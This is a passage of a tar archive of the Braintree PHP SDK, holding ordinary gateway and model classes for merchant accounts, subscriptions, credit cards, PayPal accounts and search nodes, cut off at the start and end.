= 'bank'; const FUNDING_DESTINATION_EMAIL = 'email'; const FUNDING_DESTINATION_MOBILE_PHONE = 'mobile_phone'; public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($merchantAccountAttribs) { $this->_attributes = $merchantAccountAttribs; if (isset($merchantAccountAttribs['individual'])) { $individual = $merchantAccountAttribs['individual']; $this->_set('individualDetails', MerchantAccount\IndividualDetails::Factory($individual)); } if (isset($merchantAccountAttribs['business'])) { $business = $merchantAccountAttribs['business']; $this->_set('businessDetails', MerchantAccount\BusinessDetails::Factory($business)); } if (isset($merchantAccountAttribs['funding'])) { $funding = $merchantAccountAttribs['funding']; $this->_set('fundingDetails', new MerchantAccount\FundingDetails($funding)); } if (isset($merchantAccountAttribs['masterMerchantAccount'])) { $masterMerchantAccount = $merchantAccountAttribs['masterMerchantAccount']; $this->_set('masterMerchantAccount', self::Factory($masterMerchantAccount)); } } // static methods redirecting to gateway public static function create($attribs) { return Configuration::gateway()->merchantAccount()->create($attribs); } public static function find($merchant_account_id) { return Configuration::gateway()->merchantAccount()->find($merchant_account_id); } public static function update($merchant_account_id, $attributes) { return Configuration::gateway()->merchantAccount()->update($merchant_account_id, $attributes); } } class_alias('Braintree\MerchantAccount', 'Braintree_MerchantAccount'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Descriptor.php��������������������������������������������������������������0000644�����������������00000000360�14720677707�0014047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $name * @property-read string $phone * @property-read string $url */ class Descriptor extends Instance { } class_alias('Braintree\Descriptor', 'Braintree_Descriptor'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/ApplePayGateway.php���������������������������������������������������������0000644�����������������00000004110�14720677707�0014763 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree ApplePayGateway module * Manages Apple Pay for Web * * @package Braintree * @category Resources */ class ApplePayGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function registerDomain($domain) { $path = $this->_config->merchantPath() . '/processing/apple_pay/validate_domains'; $response = $this->_http->post($path, ['url' => $domain]); if (array_key_exists('response', $response) && $response['response']['success']) { return new Result\Successful; } else if (array_key_exists('apiErrorResponse', $response)) { return new Result\Error($response['apiErrorResponse']); } } public function unregisterDomain($domain) { $path = $this->_config->merchantPath() . '/processing/apple_pay/unregister_domain'; $this->_http->delete($path, ['url' => $domain]); return new Result\Successful; } public function registeredDomains() { $path = $this->_config->merchantPath() . '/processing/apple_pay/registered_domains'; $response = $this->_http->get($path); if (array_key_exists('response', $response) && array_key_exists('domains', $response['response'])) { $options = ApplePayOptions::factory($response['response']); return new Result\Successful($options, 'applePayOptions'); } else if (array_key_exists('apiErrorResponse', $response)) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected('expected response or apiErrorResponse'); } } } class_alias('Braintree\ApplePayGateway', 'Braintree_ApplePayGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/IsNode.php������������������������������������������������������������������0000644�����������������00000000657�14720677707�0013123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class IsNode { public function __construct($name) { $this->name = $name; $this->searchTerms = []; } public function is($value) { $this->searchTerms['is'] = strval($value); return $this; } public function toParam() { return $this->searchTerms; } } class_alias('Braintree\IsNode', 'Braintree_IsNode'); ���������������������������������������������������������������������������������braintree/lib/Braintree/ClientToken.php�������������������������������������������������������������0000644�����������������00000002256�14720677707�0014156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class ClientToken { const DEFAULT_VERSION = 2; // static methods redirecting to gateway /** * * @param array $params * @return string */ public static function generate($params=[]) { return Configuration::gateway()->clientToken()->generate($params); } /** * * @param type $params * @throws InvalidArgumentException */ public static function conditionallyVerifyKeys($params) { return Configuration::gateway()->clientToken()->conditionallyVerifyKeys($params); } /** * * @return string client token retrieved from server */ public static function generateWithCustomerIdSignature() { return Configuration::gateway()->clientToken()->generateWithCustomerIdSignature(); } /** * * @return string client token retrieved from server */ public static function generateWithoutCustomerIdSignature() { return Configuration::gateway()->clientToken()->generateWithoutCustomerIdSignature(); } } class_alias('Braintree\ClientToken', 'Braintree_ClientToken'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/DisbursementDetails.php�����������������������������������������������������0000644�����������������00000001266�14720677707�0015711 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Disbursement details from a transaction * Creates an instance of DisbursementDetails as returned from a transaction * * * @package Braintree * * @property-read string $disbursementDate * @property-read boolean $fundsHeld * @property-read string $settlementAmount * @property-read string $settlementCurrencyExchangeRate * @property-read string $settlementCurrencyIsoCode * @property-read string $success */ class DisbursementDetails extends Instance { public function isValid() { return !is_null($this->disbursementDate); } } class_alias('Braintree\DisbursementDetails', 'Braintree_DisbursementDetails'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PartialMatchNode.php��������������������������������������������������������0000644�����������������00000000656�14720677707�0015120 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class PartialMatchNode extends EqualityNode { public function startsWith($value) { $this->searchTerms["starts_with"] = strval($value); return $this; } public function endsWith($value) { $this->searchTerms["ends_with"] = strval($value); return $this; } } class_alias('Braintree\PartialMatchNode', 'Braintree_PartialMatchNode'); ����������������������������������������������������������������������������������braintree/lib/Braintree/PayPalAccount.php�����������������������������������������������������������0000644�����������������00000005712�14720677707�0014442 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree PayPalAccount module * * @package Braintree * @category Resources */ /** * Manages Braintree PayPalAccounts * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $billingAgreementId * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read boolean $default * @property-read string $email * @property-read string $imageUrl * @property-read string $payerId * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read \DateTime $updatedAt */ class PayPalAccount extends Base { /** * factory method: returns an instance of PayPalAccount * to the requesting method, with populated properties * * @ignore * @return PayPalAccount */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * sets instance properties from an array of values * * @access protected * @param array $paypalAccountAttribs array of paypalAccount data * @return void */ protected function _initialize($paypalAccountAttribs) { // set the attributes $this->_attributes = $paypalAccountAttribs; $subscriptionArray = []; if (isset($paypalAccountAttribs['subscriptions'])) { foreach ($paypalAccountAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } // static methods redirecting to gateway public static function find($token) { return Configuration::gateway()->payPalAccount()->find($token); } public static function update($token, $attributes) { return Configuration::gateway()->payPalAccount()->update($token, $attributes); } public static function delete($token) { return Configuration::gateway()->payPalAccount()->delete($token); } public static function sale($token, $transactionAttribs) { return Configuration::gateway()->payPalAccount()->sale($token, $transactionAttribs); } } class_alias('Braintree\PayPalAccount', 'Braintree_PayPalAccount'); ������������������������������������������������������braintree/lib/Braintree/Disbursement.php������������������������������������������������������������0000644�����������������00000003426�14720677707�0014403 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class Disbursement extends Base { const TYPE_CREDIT = "credit"; const TYPE_DEBIT = "debit"; private $_merchantAccount; protected function _initialize($disbursementAttribs) { $this->_attributes = $disbursementAttribs; $this->merchantAccountDetails = $disbursementAttribs['merchantAccount']; if (isset($disbursementAttribs['merchantAccount'])) { $this->_set('merchantAccount', MerchantAccount::factory($disbursementAttribs['merchantAccount']) ); } } public function transactions() { $collection = Transaction::search([ TransactionSearch::ids()->in($this->transactionIds), ]); return $collection; } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } public function __toString() { $display = [ 'id', 'merchantAccountDetails', 'exceptionMessage', 'amount', 'disbursementDate', 'followUpAction', 'retry', 'success', 'transactionIds', 'disbursementType' ]; $displayAttributes = []; foreach ($display AS $attrib) { $displayAttributes[$attrib] = $this->$attrib; } return __CLASS__ . '[' . Util::attributesToString($displayAttributes) .']'; } public function isDebit() { return $this->disbursementType == Disbursement::TYPE_DEBIT; } public function isCredit() { return $this->disbursementType == Disbursement::TYPE_CREDIT; } } class_alias('Braintree\Disbursement', 'Braintree_Disbursement'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MultipleValueNode.php�������������������������������������������������������0000644�����������������00000001662�14720677707�0015335 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; class MultipleValueNode { public function __construct($name, $allowedValues = []) { $this->name = $name; $this->items = []; $this->allowedValues = $allowedValues; } public function in($values) { $bad_values = array_diff($values, $this->allowedValues); if (count($this->allowedValues) > 0 && count($bad_values) > 0) { $message = 'Invalid argument(s) for ' . $this->name . ':'; foreach ($bad_values AS $bad_value) { $message .= ' ' . $bad_value; } throw new InvalidArgumentException($message); } $this->items = $values; return $this; } public function is($value) { return $this->in([$value]); } public function toParam() { return $this->items; } } class_alias('Braintree\MultipleValueNode', 'Braintree_MultipleValueNode'); ������������������������������������������������������������������������������braintree/lib/Braintree/IbanBankAccount.php���������������������������������������������������������0000644�����������������00000002700�14720677707�0014713 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree IbanBankAccount module * PHP Version 5 * * @package Braintree * * @property-read string $maskedIban * @property-read string $bic * @property-read string $ibanCountry * @property-read string $description * @property-read string $ibanAccountNumberLast4 */ class IbanBankAccount extends Base { /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @ignore * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } /** * sets instance properties from an array of values * * @ignore * @access protected * @param array $ibanAttribs array of ibanBankAccount data * @return void */ protected function _initialize($ibanAttribs) { // set the attributes $this->_attributes = $ibanAttribs; } /** * factory method: returns an instance of IbanBankAccount * to the requesting method, with populated properties * @ignore * @return IbanBankAccount */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } } class_alias('Braintree\IbanBankAccount', 'Braintree_IbanBankAccount'); ����������������������������������������������������������������braintree/lib/Braintree/SubscriptionGateway.php�����������������������������������������������������0000644�����������������00000017121�14720677707�0015742 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree SubscriptionGateway module * * <b>== More information ==</b> * * For more detailed information on Subscriptions, see {@link https://developers.braintreepayments.com/reference/response/subscription/php https://developers.braintreepayments.com/reference/response/subscription/php} * * PHP Version 5 * * @package Braintree */ class SubscriptionGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function create($attributes) { Util::verifyKeys(self::_createSignature(), $attributes); $path = $this->_config->merchantPath() . '/subscriptions'; $response = $this->_http->post($path, ['subscription' => $attributes]); return $this->_verifyGatewayResponse($response); } public function find($id) { $this->_validateId($id); try { $path = $this->_config->merchantPath() . '/subscriptions/' . $id; $response = $this->_http->get($path); return Subscription::factory($response['subscription']); } catch (Exception\NotFound $e) { throw new Exception\NotFound('subscription with id ' . $id . ' not found'); } } public function search($query) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $path = $this->_config->merchantPath() . '/subscriptions/advanced_search_ids'; $response = $this->_http->post($path, ['search' => $criteria]); $pager = [ 'object' => $this, 'method' => 'fetch', 'methodArgs' => [$query] ]; return new ResourceCollection($response, $pager); } public function fetch($query, $ids) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $criteria["ids"] = SubscriptionSearch::ids()->in($ids)->toparam(); $path = $this->_config->merchantPath() . '/subscriptions/advanced_search'; $response = $this->_http->post($path, ['search' => $criteria]); return Util::extractAttributeAsArray( $response['subscriptions'], 'subscription' ); } public function update($subscriptionId, $attributes) { Util::verifyKeys(self::_updateSignature(), $attributes); $path = $this->_config->merchantPath() . '/subscriptions/' . $subscriptionId; $response = $this->_http->put($path, ['subscription' => $attributes]); return $this->_verifyGatewayResponse($response); } public function retryCharge($subscriptionId, $amount = null, $submitForSettlement = false) { $transaction_params = ['type' => Transaction::SALE, 'subscriptionId' => $subscriptionId]; if (isset($amount)) { $transaction_params['amount'] = $amount; } if ($submitForSettlement) { $transaction_params['options'] = ['submitForSettlement' => $submitForSettlement]; } $path = $this->_config->merchantPath() . '/transactions'; $response = $this->_http->post($path, ['transaction' => $transaction_params]); return $this->_verifyGatewayResponse($response); } public function cancel($subscriptionId) { $path = $this->_config->merchantPath() . '/subscriptions/' . $subscriptionId . '/cancel'; $response = $this->_http->put($path); return $this->_verifyGatewayResponse($response); } private static function _createSignature() { return array_merge( [ 'billingDayOfMonth', 'firstBillingDate', 'createdAt', 'updatedAt', 'id', 'merchantAccountId', 'neverExpires', 'numberOfBillingCycles', 'paymentMethodToken', 'paymentMethodNonce', 'planId', 'price', 'trialDuration', 'trialDurationUnit', 'trialPeriod', ['descriptor' => ['name', 'phone', 'url']], ['options' => [ 'doNotInheritAddOnsOrDiscounts', 'startImmediately', ['paypal' => ['description']] ]], ], self::_addOnDiscountSignature() ); } private static function _updateSignature() { return array_merge( [ 'merchantAccountId', 'numberOfBillingCycles', 'paymentMethodToken', 'planId', 'paymentMethodNonce', 'id', 'neverExpires', 'price', ['descriptor' => ['name', 'phone', 'url']], ['options' => [ 'prorateCharges', 'replaceAllAddOnsAndDiscounts', 'revertSubscriptionOnProrationFailure', ['paypal' => ['description']] ]], ], self::_addOnDiscountSignature() ); } private static function _addOnDiscountSignature() { return [ [ 'addOns' => [ ['add' => ['amount', 'inheritedFromId', 'neverExpires', 'numberOfBillingCycles', 'quantity']], ['update' => ['amount', 'existingId', 'neverExpires', 'numberOfBillingCycles', 'quantity']], ['remove' => ['_anyKey_']], ] ], [ 'discounts' => [ ['add' => ['amount', 'inheritedFromId', 'neverExpires', 'numberOfBillingCycles', 'quantity']], ['update' => ['amount', 'existingId', 'neverExpires', 'numberOfBillingCycles', 'quantity']], ['remove' => ['_anyKey_']], ] ] ]; } /** * @ignore */ private function _validateId($id = null) { if (empty($id)) { throw new InvalidArgumentException( 'expected subscription id to be set' ); } if (!preg_match('/^[0-9A-Za-z_-]+$/', $id)) { throw new InvalidArgumentException( $id . ' is an invalid subscription id.' ); } } /** * @ignore */ private function _verifyGatewayResponse($response) { if (isset($response['subscription'])) { return new Result\Successful( Subscription::factory($response['subscription']) ); } else if (isset($response['transaction'])) { // return a populated instance of Transaction, for subscription retryCharge return new Result\Successful( Transaction::factory($response['transaction']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected subscription, transaction, or apiErrorResponse" ); } } } class_alias('Braintree\SubscriptionGateway', 'Braintree_SubscriptionGateway'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CreditCardGateway.php�������������������������������������������������������0000644�����������������00000036647�14720677707�0015300 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree CreditCardGateway module * Creates and manages Braintree CreditCards * * <b>== More information ==</b> * * For more detailed information on CreditCards, see {@link https://developers.braintreepayments.com/reference/response/credit-card/php https://developers.braintreepayments.com/reference/response/credit-card/php}<br /> * For more detailed information on CreditCard verifications, see {@link https://developers.braintreepayments.com/reference/response/credit-card-verification/php https://developers.braintreepayments.com/reference/response/credit-card-verification/php} * * @package Braintree * @category Resources */ class CreditCardGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function create($attribs) { Util::verifyKeys(self::createSignature(), $attribs); return $this->_doCreate('/payment_methods', ['credit_card' => $attribs]); } /** * attempts the create operation assuming all data will validate * returns a CreditCard object instead of a Result * * @access public * @param array $attribs * @return CreditCard * @throws Exception\ValidationError */ public function createNoValidate($attribs) { $result = $this->create($attribs); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * create a customer from a TransparentRedirect operation * * @deprecated since version 2.3.0 * @access public * @param array $attribs * @return Result\Successful|Result\Error */ public function createFromTransparentRedirect($queryString) { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::confirm", E_USER_NOTICE); $params = TransparentRedirect::parseAndValidateQueryString( $queryString ); return $this->_doCreate( '/payment_methods/all/confirm_transparent_redirect_request', ['id' => $params['id']] ); } /** * * @deprecated since version 2.3.0 * @access public * @param none * @return string */ public function createCreditCardUrl() { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::url", E_USER_NOTICE); return $this->_config->baseUrl() . $this->_config->merchantPath(). '/payment_methods/all/create_via_transparent_redirect_request'; } /** * returns a ResourceCollection of expired credit cards * @return ResourceCollection */ public function expired() { $path = $this->_config->merchantPath() . '/payment_methods/all/expired_ids'; $response = $this->_http->post($path); $pager = [ 'object' => $this, 'method' => 'fetchExpired', 'methodArgs' => [] ]; return new ResourceCollection($response, $pager); } public function fetchExpired($ids) { $path = $this->_config->merchantPath() . "/payment_methods/all/expired"; $response = $this->_http->post($path, ['search' => ['ids' => $ids]]); return Util::extractattributeasarray( $response['paymentMethods'], 'creditCard' ); } /** * returns a ResourceCollection of credit cards expiring between start/end * * @return ResourceCollection */ public function expiringBetween($startDate, $endDate) { $queryPath = $this->_config->merchantPath() . '/payment_methods/all/expiring_ids?start=' . date('mY', $startDate) . '&end=' . date('mY', $endDate); $response = $this->_http->post($queryPath); $pager = [ 'object' => $this, 'method' => 'fetchExpiring', 'methodArgs' => [$startDate, $endDate] ]; return new ResourceCollection($response, $pager); } public function fetchExpiring($startDate, $endDate, $ids) { $queryPath = $this->_config->merchantPath() . '/payment_methods/all/expiring?start=' . date('mY', $startDate) . '&end=' . date('mY', $endDate); $response = $this->_http->post($queryPath, ['search' => ['ids' => $ids]]); return Util::extractAttributeAsArray( $response['paymentMethods'], 'creditCard' ); } /** * find a creditcard by token * * @access public * @param string $token credit card unique id * @return CreditCard * @throws Exception\NotFound */ public function find($token) { $this->_validateId($token); try { $path = $this->_config->merchantPath() . '/payment_methods/credit_card/' . $token; $response = $this->_http->get($path); return CreditCard::factory($response['creditCard']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'credit card with token ' . $token . ' not found' ); } } /** * Convert a payment method nonce to a credit card * * @access public * @param string $nonce payment method nonce * @return CreditCard * @throws Exception\NotFound */ public function fromNonce($nonce) { $this->_validateId($nonce, "nonce"); try { $path = $this->_config->merchantPath() . '/payment_methods/from_nonce/' . $nonce; $response = $this->_http->get($path); return CreditCard::factory($response['creditCard']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'credit card with nonce ' . $nonce . ' locked, consumed or not found' ); } } /** * create a credit on the card for the passed transaction * * @access public * @param array $attribs * @return Result\Successful|Result\Error */ public function credit($token, $transactionAttribs) { $this->_validateId($token); return Transaction::credit( array_merge( $transactionAttribs, ['paymentMethodToken' => $token] ) ); } /** * create a credit on this card, assuming validations will pass * * returns a Transaction object on success * * @access public * @param array $attribs * @return Transaction * @throws Exception\ValidationError */ public function creditNoValidate($token, $transactionAttribs) { $result = $this->credit($token, $transactionAttribs); return Util::returnObjectOrThrowException('Braintree\Transaction', $result); } /** * create a new sale for the current card * * @param string $token * @param array $transactionAttribs * @return Result\Successful|Result\Error * @see Transaction::sale() */ public function sale($token, $transactionAttribs) { $this->_validateId($token); return Transaction::sale( array_merge( $transactionAttribs, ['paymentMethodToken' => $token] ) ); } /** * create a new sale using this card, assuming validations will pass * * returns a Transaction object on success * * @access public * @param array $transactionAttribs * @param string $token * @return Transaction * @throws Exception\ValidationsFailed * @see Transaction::sale() */ public function saleNoValidate($token, $transactionAttribs) { $result = $this->sale($token, $transactionAttribs); return Util::returnObjectOrThrowException('Braintree\Transaction', $result); } /** * updates the creditcard record * * if calling this method in context, $token * is the 2nd attribute. $token is not sent in object context. * * @access public * @param array $attributes * @param string $token (optional) * @return Result\Successful|Result\Error */ public function update($token, $attributes) { Util::verifyKeys(self::updateSignature(), $attributes); $this->_validateId($token); return $this->_doUpdate('put', '/payment_methods/credit_card/' . $token, ['creditCard' => $attributes]); } /** * update a creditcard record, assuming validations will pass * * if calling this method in context, $token * is the 2nd attribute. $token is not sent in object context. * returns a CreditCard object on success * * @access public * @param array $attributes * @param string $token * @return CreditCard * @throws Exception\ValidationsFailed */ public function updateNoValidate($token, $attributes) { $result = $this->update($token, $attributes); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * * @access public * @param none * @return string */ public function updateCreditCardUrl() { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::url", E_USER_NOTICE); return $this->_config->baseUrl() . $this->_config->merchantPath() . '/payment_methods/all/update_via_transparent_redirect_request'; } /** * update a customer from a TransparentRedirect operation * * @deprecated since version 2.3.0 * @access public * @param array $attribs * @return object */ public function updateFromTransparentRedirect($queryString) { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::confirm", E_USER_NOTICE); $params = TransparentRedirect::parseAndValidateQueryString( $queryString ); return $this->_doUpdate( 'post', '/payment_methods/all/confirm_transparent_redirect_request', ['id' => $params['id']] ); } public function delete($token) { $this->_validateId($token); $path = $this->_config->merchantPath() . '/payment_methods/credit_card/' . $token; $this->_http->delete($path); return new Result\Successful(); } private static function baseOptions() { return ['makeDefault', 'verificationMerchantAccountId', 'verifyCard', 'verificationAmount', 'verificationAccountType', 'venmoSdkSession']; } private static function baseSignature($options) { return [ 'billingAddressId', 'cardholderName', 'cvv', 'number', 'deviceSessionId', 'expirationDate', 'expirationMonth', 'expirationYear', 'token', 'venmoSdkPaymentMethodCode', 'deviceData', 'fraudMerchantId', 'paymentMethodNonce', ['options' => $options], [ 'billingAddress' => self::billingAddressSignature() ], ]; } public static function billingAddressSignature() { return [ 'firstName', 'lastName', 'company', 'countryCodeAlpha2', 'countryCodeAlpha3', 'countryCodeNumeric', 'countryName', 'extendedAddress', 'locality', 'region', 'postalCode', 'streetAddress' ]; } public static function createSignature() { $options = self::baseOptions(); $options[] = "failOnDuplicatePaymentMethod"; $signature = self::baseSignature($options); $signature[] = 'customerId'; return $signature; } public static function updateSignature() { $options = self::baseOptions(); $options[] = "failOnDuplicatePaymentMethod"; $signature = self::baseSignature($options); $updateExistingBillingSignature = [ [ 'options' => [ 'updateExisting' ] ] ]; foreach($signature AS $key => $value) { if(is_array($value) and array_key_exists('billingAddress', $value)) { $signature[$key]['billingAddress'] = array_merge_recursive($value['billingAddress'], $updateExistingBillingSignature); } } return $signature; } /** * sends the create request to the gateway * * @ignore * @param string $subPath * @param array $params * @return mixed */ public function _doCreate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * verifies that a valid credit card identifier is being used * @ignore * @param string $identifier * @param Optional $string $identifierType type of identifier supplied, default "token" * @throws InvalidArgumentException */ private function _validateId($identifier = null, $identifierType = "token") { if (empty($identifier)) { throw new InvalidArgumentException( 'expected credit card id to be set' ); } if (!preg_match('/^[0-9A-Za-z_-]+$/', $identifier)) { throw new InvalidArgumentException( $identifier . ' is an invalid credit card ' . $identifierType . '.' ); } } /** * sends the update request to the gateway * * @ignore * @param string $url * @param array $params * @return mixed */ private function _doUpdate($httpVerb, $subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->$httpVerb($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * generic method for validating incoming gateway responses * * creates a new CreditCard object and encapsulates * it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['creditCard'])) { // return a populated instance of Address return new Result\Successful( CreditCard::factory($response['creditCard']) ); } elseif (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected address or apiErrorResponse" ); } } } class_alias('Braintree\CreditCardGateway', 'Braintree_CreditCardGateway'); �����������������������������������������������������������������������������������������braintree/lib/Braintree/PaymentMethodNonce.php������������������������������������������������������0000644�����������������00000003237�14720677707�0015500 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree PaymentMethodNonce module * * @package Braintree * @category Resources */ /** * Creates and manages Braintree PaymentMethodNonces * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read \Braintree\BinData $binData * @property-read boolean $default * @property-read string $nonce * @property-read \Braintree\ThreeDSecureInfo $threeDSecureInfo * @property-read string $type */ class PaymentMethodNonce extends Base { // static methods redirecting to gateway public static function create($token) { return Configuration::gateway()->paymentMethodNonce()->create($token); } public static function find($nonce) { return Configuration::gateway()->paymentMethodNonce()->find($nonce); } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($nonceAttributes) { $this->_attributes = $nonceAttributes; $this->_set('nonce', $nonceAttributes['nonce']); $this->_set('type', $nonceAttributes['type']); if(isset($nonceAttributes['threeDSecureInfo'])) { $this->_set('threeDSecureInfo', ThreeDSecureInfo::factory($nonceAttributes['threeDSecureInfo'])); } if(isset($nonceAttributes['binData'])) { $this->_set('binData', BinData::factory($nonceAttributes['binData'])); } } } class_alias('Braintree\PaymentMethodNonce', 'Braintree_PaymentMethodNonce'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/GrantedPaymentInstrumentUpdate.php������������������������������������������0000644�����������������00000004153�14720677707�0020113 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree GrantedPaymentInstrumentUpdate module * * @package Braintree * @category Resources */ /** * Manages Braintree GrantedPaymentInstrumentUpdate * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $grantOwnerMerchantId * @property-read string $grantRecipientMerchantId * @property-read string $paymentMethodNonce * @property-read string $token * @property-read string $updatedFields */ class GrantedPaymentInstrumentUpdate extends Base { /** * factory method: returns an instance of GrantedPaymentInstrumentUpdate * to the requesting method, with populated properties * * @ignore * @return GrantedPaymentInstrumentUpdate */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /* instance methods */ /** * sets instance properties from an array of values * * @access protected * @param array $GrantedPaymentInstrumentAttribs array of grantedPaymentInstrumentUpdate data * @return void */ protected function _initialize($grantedPaymentInstrumentUpdateAttribs) { // set the attributes $this->_attributes = $grantedPaymentInstrumentUpdateAttribs; $paymentMethodNonce = isset($grantedPaymentInstrumentUpdateAttribs['paymentMethodNonce']) ? GrantedPaymentInstrumentUpdate::factory($grantedPaymentInstrumentUpdateAttribs['paymentMethodNonce']) : null; $this->_set('paymentMethodNonce', $paymentMethodNonce); } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } } class_alias('Braintree\GrantedPaymentInstrumentUpdate', 'Braintree_GrantedPaymentInstrumentUpdate'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/RangeNode.php���������������������������������������������������������������0000644�����������������00000001466�14720677707�0013603 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class RangeNode { public function __construct($name) { $this->name = $name; $this->searchTerms = []; } public function greaterThanOrEqualTo($value) { 